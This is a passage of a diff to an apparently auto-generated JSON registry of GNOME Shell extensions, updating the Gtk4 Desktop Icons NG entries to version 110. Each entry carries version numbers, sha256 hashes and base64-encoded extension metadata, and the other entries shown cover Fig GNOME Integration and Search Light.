XRlcy5cbiogSW1wcm92ZWQgZ2VzdHVyZSBzd2l0Y2hpbmcgb2Ygd29ya3NwYWNlcywgaWNvbnMgYXBwZWFyIHRvIGJlIG9uIGFsbCB3b3Jrc3BhY2VzIGluIG1vdmluZyB3aW5kb3dzLlxuKiBTdXBwb3J0IGZvciBkcmFnZ2luZyBpY29ucyBvbnRvIHRoZSBkb2NrIC0gRHJhZyBpY29ucyBmcm9tIGRlc2t0b3AgdG8gYW5kIGRyb3Agb3ZlciBhcHBsaWNhdGlvbiBpY29uIHRvIG9wZW4gdGhlbSB3aXRoIHRoZSBhcHAuIFdvcmtzIHdpdGggRGFzaCB0byBEb2NrIGFuZCBEYXNoIHRvIFBhbmVsLlxuKiBTdXBwb3J0IGZvciBkcmFnZ2luZyBpY29ucyBmcm9tIGRlc2t0b3AgZGlyZWN0bHkgdG8gVHJhc2ggb24gRGFzaCB0byBEb2NrIG9yIHRvIG1vdW50ZWQgdm9sdW1lcyB0byBjb3B5IHRoZW0gZGlyZWN0bHkuXG4qIERpc3BsYXkgR0lNUCB0aHVtYm5haWxzLCBldmVuIGZvciBzbmFwIGFuZCBmbGF0cGFjayBpbnN0YWxscy5cblxuUGxlYXNlIHNlZSBSZWFkbWUgZm9yIGZ1bGwgZGV0YWlscyBvZiBuZXcgZmVhdHVyZXMuIFdvcmtzIGJlc3Qgb24gV2F5bGFuZC4gVGhlcmUgaXMgYSBidWcgaW4gR0pTIG9uIFgxMSwgcGxlYXNlIHNlZSBSZWFkbWUuIFRoaXMgZXh0ZW5zaW9uIG5vdyB3b3JrcyB3aXRoIHNvbWUgaGFja3MsIGV2ZW4gb24gWDExLiBIb3dldmVyIHlvdXIgbWlsZWFnZSBtYXkgdmFyeSBhbmQgdXNlIHdpdGggY2F1dGlvbiBvbiBYMTEgYW5kIHJlcG9ydCBhbnkgaXNzdWVzLlxuXG5QbGVhc2UgcmVwb3J0IGFsbCBpc3N1ZXMgb24gdGhlIGdpdGxhYiBsaW5rIGJlbG93LCB0aGlzIHBhZ2UgaXMgbm90IG1vbml0b3JlZC4gQWxsIGtub3duIGlzc3VlcyBhcmUgZGV0YWlsZWQgdGhlcmUuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ3RrNC1kaW5nQHNtZWRpdXMuZ2l0bGFiLmNvbSIsCiAgIm5hbWUiOiAiTGliYWR3YWl0YSwgR3RrNCBEZXNrdG9wIEljb25zIE5HIHdpdGggR1Njb25uZWN0IEludGVncmF0aW9uLCBEcmFnIGFuZCBEcm9wIG9udG8gRG9jayAoR3RrNC1ESU5HKSIsCiAgInNlc3Npb24tbW9kZXMiOiBbCiAgICAidXNlciIsCiAgICAidW5sb2NrLWRpYWxvZyIKICBdLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZ3RrNC1kaW5nIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3NtZWRpdXMvZGVza3RvcC1pY29ucy1uZyIsCiAgInV1aWQiOiAiZ3RrNC1kaW5nQHNtZWRpdXMuZ2l0bGFiLmNvbSIsCiAgInZlcnNpb24iOiAxNwp9"},
     "42": {"version": "60", "sha256": "0gxn065ls150nj88zslng8lkhqfzba8lkhxyi74rpqn477ss6y9q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgR3RrNCBpY29ucyB0byB0aGUgR25vbWUgZGVza3RvcC4gR3RrNCBGb3JrIG9mIHRoZSBvcmlnaW5hbCBEZXNrdG9wIEljb25zIGV4dGVuc2lvbiwgd2l0aCBzZXZlcmFsIGVuaGFuY2VtZW50cy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJndGs0LWRpbmdAc21lZGl1cy5naXRsYWIuY29tIiwKICAibmFtZSI6ICJHdGs0IERlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2Vzc2lvbi1tb2RlcyI6IFsKICAgICJ1bmxvY2stZGlhbG9nIiwKICAgICJ1c2VyIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5ndGs0LWRpbmciLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9zbWVkaXVzL2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImd0azQtZGluZ0BzbWVkaXVzLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogNjAKfQ=="},
     "43": {"version": "60", "sha256": "0gxn065ls150nj88zslng8lkhqfzba8lkhxyi74rpqn477ss6y9q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgR3RrNCBpY29ucyB0byB0aGUgR25vbWUgZGVza3RvcC4gR3RrNCBGb3JrIG9mIHRoZSBvcmlnaW5hbCBEZXNrdG9wIEljb25zIGV4dGVuc2lvbiwgd2l0aCBzZXZlcmFsIGVuaGFuY2VtZW50cy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJndGs0LWRpbmdAc21lZGl1cy5naXRsYWIuY29tIiwKICAibmFtZSI6ICJHdGs0IERlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2Vzc2lvbi1tb2RlcyI6IFsKICAgICJ1bmxvY2stZGlhbG9nIiwKICAgICJ1c2VyIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5ndGs0LWRpbmciLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9zbWVkaXVzL2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImd0azQtZGluZ0BzbWVkaXVzLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogNjAKfQ=="},
     "44": {"version": "67", "sha256": "1bz5bs2llbklzn0wvqn300gd1g39qgdsgl5hwi1ndwd2wdl1mdbq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgR3RrNCBpY29ucyB0byB0aGUgR25vbWUgZGVza3RvcC4gR3RrNCBGb3JrIG9mIHRoZSBvcmlnaW5hbCBEZXNrdG9wIEljb25zIGV4dGVuc2lvbiwgd2l0aCBzZXZlcmFsIGVuaGFuY2VtZW50cy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJndGs0LWRpbmdAc21lZGl1cy5naXRsYWIuY29tIiwKICAibmFtZSI6ICJHdGs0IERlc2t0b3AgSWNvbnMgTkcgKERJTkcpIiwKICAic2Vzc2lvbi1tb2RlcyI6IFsKICAgICJ1bmxvY2stZGlhbG9nIiwKICAgICJ1c2VyIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5ndGs0LWRpbmciLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5jb20vc21lZGl1cy9kZXNrdG9wLWljb25zLW5nIiwKICAidXVpZCI6ICJndGs0LWRpbmdAc21lZGl1cy5naXRsYWIuY29tIiwKICAidmVyc2lvbiI6IDY3Cn0="},
-    "45": {"version": "106", "sha256": "0k29n693zf9d7f8lcamqac3xl1blz6lcjz1ggyp61n4kd6vapk85", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgR3RrNCBpY29ucyB0byB0aGUgR25vbWUgZGVza3RvcC4gR3RrNCBGb3JrIG9mIHRoZSBvcmlnaW5hbCBEZXNrdG9wIEljb25zIGV4dGVuc2lvbiwgd2l0aCBzZXZlcmFsIGVuaGFuY2VtZW50cy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJndGs0LWRpbmciLAogICJuYW1lIjogIkd0azQgRGVza3RvcCBJY29ucyBORyAoRElORykiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmd0azQtZGluZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9zbWVkaXVzL2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImd0azQtZGluZ0BzbWVkaXVzLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogMTA2LAogICJ2ZXJzaW9uLW5hbWUiOiAiOTkiCn0="},
-    "46": {"version": "106", "sha256": "0k29n693zf9d7f8lcamqac3xl1blz6lcjz1ggyp61n4kd6vapk85", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgR3RrNCBpY29ucyB0byB0aGUgR25vbWUgZGVza3RvcC4gR3RrNCBGb3JrIG9mIHRoZSBvcmlnaW5hbCBEZXNrdG9wIEljb25zIGV4dGVuc2lvbiwgd2l0aCBzZXZlcmFsIGVuaGFuY2VtZW50cy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJndGs0LWRpbmciLAogICJuYW1lIjogIkd0azQgRGVza3RvcCBJY29ucyBORyAoRElORykiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmd0azQtZGluZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9zbWVkaXVzL2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImd0azQtZGluZ0BzbWVkaXVzLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogMTA2LAogICJ2ZXJzaW9uLW5hbWUiOiAiOTkiCn0="},
-    "47": {"version": "106", "sha256": "0k29n693zf9d7f8lcamqac3xl1blz6lcjz1ggyp61n4kd6vapk85", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgR3RrNCBpY29ucyB0byB0aGUgR25vbWUgZGVza3RvcC4gR3RrNCBGb3JrIG9mIHRoZSBvcmlnaW5hbCBEZXNrdG9wIEljb25zIGV4dGVuc2lvbiwgd2l0aCBzZXZlcmFsIGVuaGFuY2VtZW50cy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJndGs0LWRpbmciLAogICJuYW1lIjogIkd0azQgRGVza3RvcCBJY29ucyBORyAoRElORykiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmd0azQtZGluZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9zbWVkaXVzL2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImd0azQtZGluZ0BzbWVkaXVzLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogMTA2LAogICJ2ZXJzaW9uLW5hbWUiOiAiOTkiCn0="},
-    "48": {"version": "106", "sha256": "0k29n693zf9d7f8lcamqac3xl1blz6lcjz1ggyp61n4kd6vapk85", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgR3RrNCBpY29ucyB0byB0aGUgR25vbWUgZGVza3RvcC4gR3RrNCBGb3JrIG9mIHRoZSBvcmlnaW5hbCBEZXNrdG9wIEljb25zIGV4dGVuc2lvbiwgd2l0aCBzZXZlcmFsIGVuaGFuY2VtZW50cy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJndGs0LWRpbmciLAogICJuYW1lIjogIkd0azQgRGVza3RvcCBJY29ucyBORyAoRElORykiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmd0azQtZGluZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9zbWVkaXVzL2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImd0azQtZGluZ0BzbWVkaXVzLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogMTA2LAogICJ2ZXJzaW9uLW5hbWUiOiAiOTkiCn0="}
+    "45": {"version": "110", "sha256": "0ik07iy8dssxka3n6q0wq9gqypz4wxfzahk4x2bcxfk1cjb4nnhs", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgR3RrNCBpY29ucyB0byB0aGUgR25vbWUgZGVza3RvcC4gR3RrNCBGb3JrIG9mIHRoZSBvcmlnaW5hbCBEZXNrdG9wIEljb25zIGV4dGVuc2lvbiwgd2l0aCBzZXZlcmFsIGVuaGFuY2VtZW50cy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJndGs0LWRpbmciLAogICJuYW1lIjogIkd0azQgRGVza3RvcCBJY29ucyBORyAoRElORykiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmd0azQtZGluZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9zbWVkaXVzL2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImd0azQtZGluZ0BzbWVkaXVzLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogMTEwLAogICJ2ZXJzaW9uLW5hbWUiOiAiMTAwLjIiCn0="},
+    "46": {"version": "110", "sha256": "0ik07iy8dssxka3n6q0wq9gqypz4wxfzahk4x2bcxfk1cjb4nnhs", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgR3RrNCBpY29ucyB0byB0aGUgR25vbWUgZGVza3RvcC4gR3RrNCBGb3JrIG9mIHRoZSBvcmlnaW5hbCBEZXNrdG9wIEljb25zIGV4dGVuc2lvbiwgd2l0aCBzZXZlcmFsIGVuaGFuY2VtZW50cy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJndGs0LWRpbmciLAogICJuYW1lIjogIkd0azQgRGVza3RvcCBJY29ucyBORyAoRElORykiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmd0azQtZGluZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9zbWVkaXVzL2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImd0azQtZGluZ0BzbWVkaXVzLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogMTEwLAogICJ2ZXJzaW9uLW5hbWUiOiAiMTAwLjIiCn0="},
+    "47": {"version": "110", "sha256": "0ik07iy8dssxka3n6q0wq9gqypz4wxfzahk4x2bcxfk1cjb4nnhs", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgR3RrNCBpY29ucyB0byB0aGUgR25vbWUgZGVza3RvcC4gR3RrNCBGb3JrIG9mIHRoZSBvcmlnaW5hbCBEZXNrdG9wIEljb25zIGV4dGVuc2lvbiwgd2l0aCBzZXZlcmFsIGVuaGFuY2VtZW50cy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJndGs0LWRpbmciLAogICJuYW1lIjogIkd0azQgRGVza3RvcCBJY29ucyBORyAoRElORykiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmd0azQtZGluZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9zbWVkaXVzL2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImd0azQtZGluZ0BzbWVkaXVzLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogMTEwLAogICJ2ZXJzaW9uLW5hbWUiOiAiMTAwLjIiCn0="},
+    "48": {"version": "110", "sha256": "0ik07iy8dssxka3n6q0wq9gqypz4wxfzahk4x2bcxfk1cjb4nnhs", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgR3RrNCBpY29ucyB0byB0aGUgR25vbWUgZGVza3RvcC4gR3RrNCBGb3JrIG9mIHRoZSBvcmlnaW5hbCBEZXNrdG9wIEljb25zIGV4dGVuc2lvbiwgd2l0aCBzZXZlcmFsIGVuaGFuY2VtZW50cy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJndGs0LWRpbmciLAogICJuYW1lIjogIkd0azQgRGVza3RvcCBJY29ucyBORyAoRElORykiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmd0azQtZGluZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9zbWVkaXVzL2Rlc2t0b3AtaWNvbnMtbmciLAogICJ1dWlkIjogImd0azQtZGluZ0BzbWVkaXVzLmdpdGxhYi5jb20iLAogICJ2ZXJzaW9uIjogMTEwLAogICJ2ZXJzaW9uLW5hbWUiOiAiMTAwLjIiCn0="}
   }}
 , {"uuid": "fig-gnome-integration@fig.io", "name": "Fig GNOME Integration", "pname": "fig-gnome-integration", "description": "Tightly integrates Fig with GNOME shell", "link": "https://extensions.gnome.org/extension/5266/fig-gnome-integration/", "shell_version_map": {
     "41": {"version": "6", "sha256": "1j5wy8zb5jnm4gh0y3brr6663ykjh56ximygkchns8ahyjmba85p", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpZ2h0bHkgaW50ZWdyYXRlcyBGaWcgd2l0aCBHTk9NRSBzaGVsbCIsCiAgImdldHRleHQtZG9tYWluIjogImZpZy1nbm9tZS1pbnRlZ3JhdGlvbiIsCiAgIm5hbWUiOiAiRmlnIEdOT01FIEludGVncmF0aW9uIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmZpZy1nbm9tZS1pbnRlZ3JhdGlvbiIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDEiLAogICAgIjQyIiwKICAgICI0MyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3dpdGhmaWcvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJmaWctZ25vbWUtaW50ZWdyYXRpb25AZmlnLmlvIiwKICAidmVyc2lvbiI6IDYKfQ=="},
@@ -6240,9 +6254,10 @@
     "42": {"version": "17", "sha256": "054k5q694ssm937qfxximg2qh5zx4m2qzcffdxjm4xd39qn4bi85", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRha2UgdGhlIGFwcHMgc2VhcmNoIG91dCBvZiBvdmVydmlldyIsCiAgImdldHRleHQtZG9tYWluIjogInNlYXJjaC1saWdodCIsCiAgIm5hbWUiOiAiU2VhcmNoIExpZ2h0IiwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNlYXJjaC1saWdodCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ljZWRtYW4vc2VhcmNoLWxpZ2h0IiwKICAidXVpZCI6ICJzZWFyY2gtbGlnaHRAaWNlZG1hbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDE3Cn0="},
     "43": {"version": "17", "sha256": "054k5q694ssm937qfxximg2qh5zx4m2qzcffdxjm4xd39qn4bi85", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRha2UgdGhlIGFwcHMgc2VhcmNoIG91dCBvZiBvdmVydmlldyIsCiAgImdldHRleHQtZG9tYWluIjogInNlYXJjaC1saWdodCIsCiAgIm5hbWUiOiAiU2VhcmNoIExpZ2h0IiwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNlYXJjaC1saWdodCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ljZWRtYW4vc2VhcmNoLWxpZ2h0IiwKICAidXVpZCI6ICJzZWFyY2gtbGlnaHRAaWNlZG1hbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDE3Cn0="},
     "44": {"version": "17", "sha256": "054k5q694ssm937qfxximg2qh5zx4m2qzcffdxjm4xd39qn4bi85", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRha2UgdGhlIGFwcHMgc2VhcmNoIG91dCBvZiBvdmVydmlldyIsCiAgImdldHRleHQtZG9tYWluIjogInNlYXJjaC1saWdodCIsCiAgIm5hbWUiOiAiU2VhcmNoIExpZ2h0IiwKICAic2NoZW1hLWlkIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNlYXJjaC1saWdodCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ljZWRtYW4vc2VhcmNoLWxpZ2h0IiwKICAidXVpZCI6ICJzZWFyY2gtbGlnaHRAaWNlZG1hbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDE3Cn0="},
-    "45": {"version": "33", "sha256": "195pn0vfgnd6jnndm900z1q2wgswkj6cafxjwgz878czrjj5flyv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRha2UgdGhlIGFwcHMgc2VhcmNoIG91dCBvZiBvdmVydmlldy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJzZWFyY2gtbGlnaHQiLAogICJuYW1lIjogIlNlYXJjaCBMaWdodCIsCiAgInNjaGVtYS1pZCI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zZWFyY2gtbGlnaHQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9pY2VkbWFuL3NlYXJjaC1saWdodCIsCiAgInV1aWQiOiAic2VhcmNoLWxpZ2h0QGljZWRtYW4uZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAzMwp9"},
-    "46": {"version": "33", "sha256": "195pn0vfgnd6jnndm900z1q2wgswkj6cafxjwgz878czrjj5flyv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRha2UgdGhlIGFwcHMgc2VhcmNoIG91dCBvZiBvdmVydmlldy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJzZWFyY2gtbGlnaHQiLAogICJuYW1lIjogIlNlYXJjaCBMaWdodCIsCiAgInNjaGVtYS1pZCI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zZWFyY2gtbGlnaHQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9pY2VkbWFuL3NlYXJjaC1saWdodCIsCiAgInV1aWQiOiAic2VhcmNoLWxpZ2h0QGljZWRtYW4uZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAzMwp9"},
-    "47": {"version": "33", "sha256": "195pn0vfgnd6jnndm900z1q2wgswkj6cafxjwgz878czrjj5flyv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRha2UgdGhlIGFwcHMgc2VhcmNoIG91dCBvZiBvdmVydmlldy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJzZWFyY2gtbGlnaHQiLAogICJuYW1lIjogIlNlYXJjaCBMaWdodCIsCiAgInNjaGVtYS1pZCI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zZWFyY2gtbGlnaHQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9pY2VkbWFuL3NlYXJjaC1saWdodCIsCiAgInV1aWQiOiAic2VhcmNoLWxpZ2h0QGljZWRtYW4uZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAzMwp9"}
